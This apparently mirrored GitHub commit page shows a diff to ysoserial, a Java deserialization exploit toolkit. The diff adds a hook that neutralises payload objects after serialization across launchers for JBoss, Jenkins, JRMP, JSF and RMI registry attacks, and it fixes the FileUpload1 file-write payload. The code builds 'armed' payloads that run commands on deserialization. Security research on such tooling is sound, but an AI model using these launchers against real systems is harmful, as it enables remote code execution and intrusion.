mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-21 22:50:46 +08:00
Add hook for payload generators to modify the object before finalizers are called
(to fix the fileupload test and also to prevent exploiting yourself, also may be useful for finalizer based gadgets)
This commit is contained in:
@@ -38,6 +38,7 @@ public class GeneratePayload {
|
||||
final Object object = payload.getObject(command);
|
||||
PrintStream out = System.out;
|
||||
Serializer.serialize(object, out);
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
} catch (Throwable e) {
|
||||
System.err.println("Error while generating or serializing payload");
|
||||
e.printStackTrace();
|
||||
|
||||
@@ -63,7 +63,6 @@ import org.xnio.XnioWorker;
|
||||
import org.xnio.ssl.JsseXnioSsl;
|
||||
import org.xnio.ssl.XnioSsl;
|
||||
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
|
||||
@@ -97,25 +96,8 @@ public class JBoss {
|
||||
|
||||
URI u = URI.create(args[ 0 ]);
|
||||
|
||||
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
System.err.println("Invalid payload type '" + args[ 1 ] + "'");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
final Object payloadObject;
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
payloadObject = payload.getObject(args[ 2 ]);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
System.err.println("Failed to construct payload");
|
||||
e.printStackTrace(System.err);
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
|
||||
|
||||
String username = null;
|
||||
String password = null;
|
||||
if ( u.getUserInfo() != null ) {
|
||||
@@ -131,7 +113,7 @@ public class JBoss {
|
||||
}
|
||||
|
||||
doRun(u, payloadObject, username, password);
|
||||
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -43,7 +43,7 @@ public class JRMPClient {
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
|
||||
Utils.releasePayload(args[2], payloadObject);
|
||||
}
|
||||
|
||||
/**
|
||||
|
||||
@@ -109,6 +109,7 @@ public class JRMPListener implements Runnable {
|
||||
System.err.println("Listener error");
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
}
|
||||
|
||||
|
||||
|
||||
@@ -60,6 +60,7 @@ public class JSF {
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
}
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -23,16 +23,12 @@ import hudson.remoting.Callable;
|
||||
import hudson.remoting.Channel;
|
||||
import hudson.remoting.Channel.Mode;
|
||||
import hudson.remoting.ChannelBuilder;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"rawtypes"
|
||||
} )
|
||||
public class JenkinsCLI {
|
||||
public static final void main ( final String[] args ) {
|
||||
if ( args.length < 3 ) {
|
||||
@@ -40,24 +36,7 @@ public class JenkinsCLI {
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 1 ]);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
System.err.println("Invalid payload type '" + args[ 1 ] + "'");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
final Object payloadObject;
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
payloadObject = payload.getObject(args[ 2 ]);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
System.err.println("Failed to construct payload");
|
||||
e.printStackTrace(System.err);
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
|
||||
|
||||
String jenkinsUrl = args[ 0 ];
|
||||
Channel c = null;
|
||||
@@ -79,6 +58,7 @@ public class JenkinsCLI {
|
||||
}
|
||||
}
|
||||
}
|
||||
Utils.releasePayload(args[1], payloadObject);
|
||||
}
|
||||
|
||||
public static Callable<?, ?> getPropertyCallable ( final Object prop )
|
||||
|
||||
@@ -213,6 +213,7 @@ public class JenkinsListener {
|
||||
final Object object = payload.getObject(payloadArg);
|
||||
objOut.writeObject(object);
|
||||
os.flush();
|
||||
ObjectPayload.Utils.releasePayload(payload, object);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace(System.err);
|
||||
|
||||
@@ -9,7 +9,6 @@ import java.util.Random;
|
||||
import hudson.remoting.Channel;
|
||||
import ysoserial.exploit.JRMPListener;
|
||||
import ysoserial.payloads.JRMPClient;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
|
||||
|
||||
@@ -19,9 +18,6 @@ import ysoserial.payloads.ObjectPayload.Utils;
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
@SuppressWarnings ( {
|
||||
"rawtypes"
|
||||
} )
|
||||
public class JenkinsReverse {
|
||||
|
||||
public static final void main ( final String[] args ) {
|
||||
@@ -30,25 +26,8 @@ public class JenkinsReverse {
|
||||
System.exit(-1);
|
||||
}
|
||||
|
||||
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(args[ 2 ]);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
System.err.println("Invalid payload type '" + args[ 2 ] + "'");
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
final Object payloadObject;
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
payloadObject = payload.getObject(args[ 3 ]);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
System.err.println("Failed to construct payload");
|
||||
e.printStackTrace(System.err);
|
||||
System.exit(-1);
|
||||
return;
|
||||
}
|
||||
|
||||
final Object payloadObject = Utils.makePayloadObject(args[2], args[3]);
|
||||
String myAddr = args[ 1 ];
|
||||
int jrmpPort = new Random().nextInt(65536 - 1024) + 1024;
|
||||
String jenkinsUrl = args[ 0 ];
|
||||
@@ -90,5 +69,6 @@ public class JenkinsReverse {
|
||||
}
|
||||
}
|
||||
}
|
||||
Utils.releasePayload(args[2], payloadObject);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ import java.util.concurrent.Callable;
|
||||
|
||||
import ysoserial.payloads.CommonsCollections1;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
import ysoserial.payloads.util.Gadgets;
|
||||
import ysoserial.secmgr.ExecCheckingSecurityManager;
|
||||
|
||||
@@ -35,7 +36,8 @@ public class RMIRegistryExploit {
|
||||
final Class<? extends ObjectPayload> payloadClass,
|
||||
final String command) throws Exception {
|
||||
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
|
||||
Object payload = payloadClass.newInstance().getObject(command);
|
||||
ObjectPayload payloadObj = payloadClass.newInstance();
|
||||
Object payload = payloadObj.getObject(command);
|
||||
String name = "pwned" + System.nanoTime();
|
||||
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
|
||||
try {
|
||||
@@ -43,7 +45,7 @@ public class RMIRegistryExploit {
|
||||
} catch (Throwable e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
Utils.releasePayload(payloadObj, payload);
|
||||
return null;
|
||||
}});
|
||||
}
|
||||
|
||||
@@ -4,7 +4,6 @@ package ysoserial.payloads;
|
||||
import java.io.File;
|
||||
import java.io.IOException;
|
||||
import java.io.OutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
import java.util.Arrays;
|
||||
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
@@ -41,7 +40,7 @@ import ysoserial.payloads.util.Reflections;
|
||||
"commons-io:commons-io:2.4"
|
||||
} )
|
||||
@PayloadTest(harness="ysoserial.payloads.FileUploadTest")
|
||||
public class FileUpload1 implements ObjectPayload<DiskFileItem> {
|
||||
public class FileUpload1 implements ReleaseableObjectPayload<DiskFileItem> {
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
@@ -72,6 +71,17 @@ public class FileUpload1 implements ObjectPayload<DiskFileItem> {
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* {@inheritDoc}
|
||||
* @throws Exception
|
||||
*
|
||||
* @see ysoserial.payloads.ReleaseableObjectPayload#release(java.lang.Object)
|
||||
*/
|
||||
public void release ( DiskFileItem obj ) throws Exception {
|
||||
// otherwise the finalizer deletes the file
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(0, null);
|
||||
Reflections.setFieldValue(obj, "dfos", dfos);
|
||||
}
|
||||
|
||||
private static DiskFileItem copyAndDelete ( String copyAndDelete, String copyTo ) throws IOException, Exception {
|
||||
return makePayload(0, copyTo, copyAndDelete, new byte[1]);
|
||||
@@ -108,9 +118,7 @@ public class FileUpload1 implements ObjectPayload<DiskFileItem> {
|
||||
DeferredFileOutputStream dfos = new DeferredFileOutputStream(thresh, outputFile);
|
||||
OutputStream os = (OutputStream) Reflections.getFieldValue(dfos, "memoryOutputStream");
|
||||
os.write(data);
|
||||
Field writtenF = ThresholdingOutputStream.class.getDeclaredField("written");
|
||||
writtenF.setAccessible(true);
|
||||
writtenF.set(dfos, data.length);
|
||||
Reflections.getField(ThresholdingOutputStream.class, "written").set(dfos, data.length);
|
||||
Reflections.setFieldValue(diskFileItem, "dfos", dfos);
|
||||
Reflections.setFieldValue(diskFileItem, "sizeThreshold", 0);
|
||||
return diskFileItem;
|
||||
|
||||
@@ -1,70 +1,117 @@
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
import java.lang.reflect.Modifier;
|
||||
import java.util.Iterator;
|
||||
import java.util.Set;
|
||||
|
||||
import org.reflections.Reflections;
|
||||
|
||||
import ysoserial.GeneratePayload;
|
||||
|
||||
@SuppressWarnings("rawtypes")
|
||||
public interface ObjectPayload<T> {
|
||||
/*
|
||||
* return armed payload object to be serialized that will execute specified
|
||||
* command on deserialization
|
||||
*/
|
||||
public T getObject(String command) throws Exception;
|
||||
|
||||
public static class Utils {
|
||||
// get payload classes by classpath scanning
|
||||
public static Set<Class<? extends ObjectPayload>> getPayloadClasses() {
|
||||
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
|
||||
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
|
||||
return payloadTypes;
|
||||
}
|
||||
@SuppressWarnings ( "rawtypes" )
|
||||
public interface ObjectPayload <T> {
|
||||
|
||||
@SuppressWarnings("unchecked")
|
||||
public
|
||||
static Class<? extends ObjectPayload> getPayloadClass(final String className) {
|
||||
Class<? extends ObjectPayload> clazz = null;
|
||||
try {
|
||||
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
|
||||
} catch (Exception e1) {
|
||||
}
|
||||
if (clazz == null) {
|
||||
try {
|
||||
return clazz = (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
|
||||
+ ".payloads." + className);
|
||||
} catch (Exception e2) {
|
||||
}
|
||||
}
|
||||
if (clazz != null && ! ObjectPayload.class.isAssignableFrom(clazz)) {
|
||||
clazz = null;
|
||||
}
|
||||
return clazz;
|
||||
}
|
||||
|
||||
/*
|
||||
* return armed payload object to be serialized that will execute specified
|
||||
* command on deserialization
|
||||
*/
|
||||
public T getObject ( String command ) throws Exception;
|
||||
|
||||
/**
|
||||
* @param payloadType
|
||||
* @param payloadArg
|
||||
* @return an payload object
|
||||
*/
|
||||
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
|
||||
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
|
||||
|
||||
}
|
||||
public static class Utils {
|
||||
|
||||
final Object payloadObject;
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
payloadObject = payload.getObject(payloadArg);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
throw new IllegalArgumentException("Failed to construct payload",e);
|
||||
}
|
||||
return payloadObject;
|
||||
}
|
||||
}
|
||||
// get payload classes by classpath scanning
|
||||
public static Set<Class<? extends ObjectPayload>> getPayloadClasses () {
|
||||
final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName());
|
||||
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
|
||||
for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) {
|
||||
Class<? extends ObjectPayload> pc = iterator.next();
|
||||
if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) {
|
||||
iterator.remove();
|
||||
}
|
||||
}
|
||||
return payloadTypes;
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings ( "unchecked" )
|
||||
public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) {
|
||||
Class<? extends ObjectPayload> clazz = null;
|
||||
try {
|
||||
clazz = (Class<? extends ObjectPayload>) Class.forName(className);
|
||||
}
|
||||
catch ( Exception e1 ) {}
|
||||
if ( clazz == null ) {
|
||||
try {
|
||||
return clazz = (Class<? extends ObjectPayload>) Class
|
||||
.forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className);
|
||||
}
|
||||
catch ( Exception e2 ) {}
|
||||
}
|
||||
if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) {
|
||||
clazz = null;
|
||||
}
|
||||
return clazz;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param payloadType
|
||||
* @param payloadArg
|
||||
* @return an payload object
|
||||
*/
|
||||
public static Object makePayloadObject ( String payloadType, String payloadArg ) {
|
||||
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
|
||||
|
||||
}
|
||||
|
||||
final Object payloadObject;
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
payloadObject = payload.getObject(payloadArg);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
throw new IllegalArgumentException("Failed to construct payload", e);
|
||||
}
|
||||
return payloadObject;
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param payload
|
||||
* @param object
|
||||
* @throws Exception
|
||||
*/
|
||||
@SuppressWarnings ( "unchecked" )
|
||||
public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception {
|
||||
if ( payload instanceof ReleaseableObjectPayload ) {
|
||||
( (ReleaseableObjectPayload) payload ).release(object);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/**
|
||||
* @param payloadType
|
||||
* @param payloadObject
|
||||
*/
|
||||
public static void releasePayload ( String payloadType, Object payloadObject ) {
|
||||
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
||||
if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) {
|
||||
throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'");
|
||||
|
||||
}
|
||||
|
||||
try {
|
||||
final ObjectPayload payload = payloadClass.newInstance();
|
||||
releasePayload(payload, payloadObject);
|
||||
}
|
||||
catch ( Exception e ) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
/**
|
||||
* © 2016 AgNO3 Gmbh & Co. KG
|
||||
* All right reserved.
|
||||
*
|
||||
* Created: 06.03.2016 by mbechler
|
||||
*/
|
||||
package ysoserial.payloads;
|
||||
|
||||
|
||||
/**
|
||||
* @author mbechler
|
||||
*
|
||||
*/
|
||||
public interface ReleaseableObjectPayload<T> extends ObjectPayload<T> {
|
||||
|
||||
void release( T obj ) throws Exception;
|
||||
}
|
||||
@@ -7,6 +7,7 @@ import ysoserial.Serializer;
|
||||
import static ysoserial.Deserializer.deserialize;
|
||||
import static ysoserial.Serializer.serialize;
|
||||
import ysoserial.payloads.ObjectPayload;
|
||||
import ysoserial.payloads.ObjectPayload.Utils;
|
||||
import ysoserial.secmgr.ExecCheckingSecurityManager;
|
||||
|
||||
/*
|
||||
@@ -22,11 +23,13 @@ public class PayloadRunner {
|
||||
|
||||
System.out.println("generating payload object(s) for command: '" + command + "'");
|
||||
|
||||
final Object objBefore = clazz.newInstance().getObject(command);
|
||||
ObjectPayload<?> payload = clazz.newInstance();
|
||||
final Object objBefore = payload.getObject(command);
|
||||
|
||||
System.out.println("serializing payload");
|
||||
|
||||
return Serializer.serialize(objBefore);
|
||||
byte[] ser = Serializer.serialize(objBefore);
|
||||
Utils.releasePayload(payload, objBefore);
|
||||
return ser;
|
||||
}});
|
||||
|
||||
try {
|
||||
|
||||
@@ -30,7 +30,7 @@ public class FileUploadTest implements CustomTest {
|
||||
*/
|
||||
public FileUploadTest () {
|
||||
try {
|
||||
source = File.createTempFile("fileupload-test", ".source");
|
||||
source = File.createTempFile("fut", "-source");
|
||||
repo = Files.createTempDir();
|
||||
}
|
||||
catch ( IOException e ) {
|
||||
@@ -43,9 +43,10 @@ public class FileUploadTest implements CustomTest {
|
||||
*
|
||||
* @see ysoserial.CustomTest#run(java.util.concurrent.Callable)
|
||||
*/
|
||||
public void run ( Callable<Object> payload ) throws Exception {
|
||||
public synchronized void run ( Callable<Object> payload ) throws Exception {
|
||||
try {
|
||||
Files.write(FDATA, this.source);
|
||||
Assert.assertTrue(this.source.exists());
|
||||
payload.call();
|
||||
|
||||
File found = null;
|
||||
@@ -62,8 +63,8 @@ public class FileUploadTest implements CustomTest {
|
||||
f.delete();
|
||||
}
|
||||
this.repo.delete();
|
||||
this.source.delete();
|
||||
}
|
||||
this.source.delete();
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -154,7 +154,9 @@ public class PayloadsTest {
|
||||
public byte[] call () throws Exception {
|
||||
ObjectPayload<?> payload = payloadClass.newInstance();
|
||||
final Object f = payload.getObject(command);
|
||||
return Serializer.serialize(f);
|
||||
byte[] serialized = Serializer.serialize(f);
|
||||
ObjectPayload.Utils.releasePayload(payload, f);
|
||||
return serialized;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user